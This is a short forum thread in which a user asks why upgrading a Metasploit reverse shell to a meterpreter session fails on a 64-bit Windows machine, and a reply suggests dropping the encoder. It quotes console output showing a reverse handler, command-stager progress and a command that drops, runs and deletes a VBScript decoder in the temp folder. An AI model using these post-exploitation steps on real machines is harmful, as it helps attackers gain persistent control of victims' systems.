Upgrade shell to meterpreter

[fr33dy]

First of all, I want to upgrade shell/reverse_tcp to a meterpreter session, so I send payload shell/reverse_tcp to 64 bit pc.I have used this command after the start of session

session -u 1

I have encountered with this error when sessions begin.

msf exploit(handler) > sessions -u 1
[*] Started reverse handler on 192.168.1.5:31337 [*] Starting the payload handler...[*] Command Stager progress - 1.66% done (1699/102108 bytes)[*] Command Stager progress - 3.33% done (3398/102108 bytes)
.
.
.[*] Command Stager progress - 84.86% done (86649/102108 bytes)[*] Command Stager progress - 86.52% done (88348/102108 bytes)[*] Command Stager progress - 88.19% done (90047/102108 bytes)[*] Command Stager progress - 89.85% done (91746/102108 bytes)[*] Command Stager progress - 91.52% done (93445/102108 bytes)[*] Command Stager progress - 93.18% done (95144/102108 bytes)[*] Command Stager progress - 94.84% done (96843/102108 bytes)[*] Command Stager progress - 96.51% done (98542/102108 bytes)[*] Command Stager progress - 98.15% done (100216/102108 bytes)[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[-] Error: Unable to execute the following command:
[-] "echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\\VpOqj.vbs & echo End If >>%TEMP%\\VpOqj.vbs & echo End Function >>%TEMP%\\VpOqj.vbs & cscript //nologo %TEMP%\\VpOqj.vbs & del %TEMP%\\VpOqj.vbs & del %TEMP%\\XvVgB.b64"
[-] Output: "C:\\Users\\USER\\AppData\\Local\\Temp\\VpOqj.vbs(10, 1) Microsoft VBScript \x87alisma hatasi: Ge\x87ersiz yordam \x87agrisi veya degisken"

Upgrade didn't finish and meterpreter session didn't open.
How do I solve this problem??

[hhmatt]

Looks like an error running the decoder on your x64 based system. You may want to try creating your payload without an encoder and see if that makes a difference.

If you want a more immediate response you should try the #metasploit channel on irc.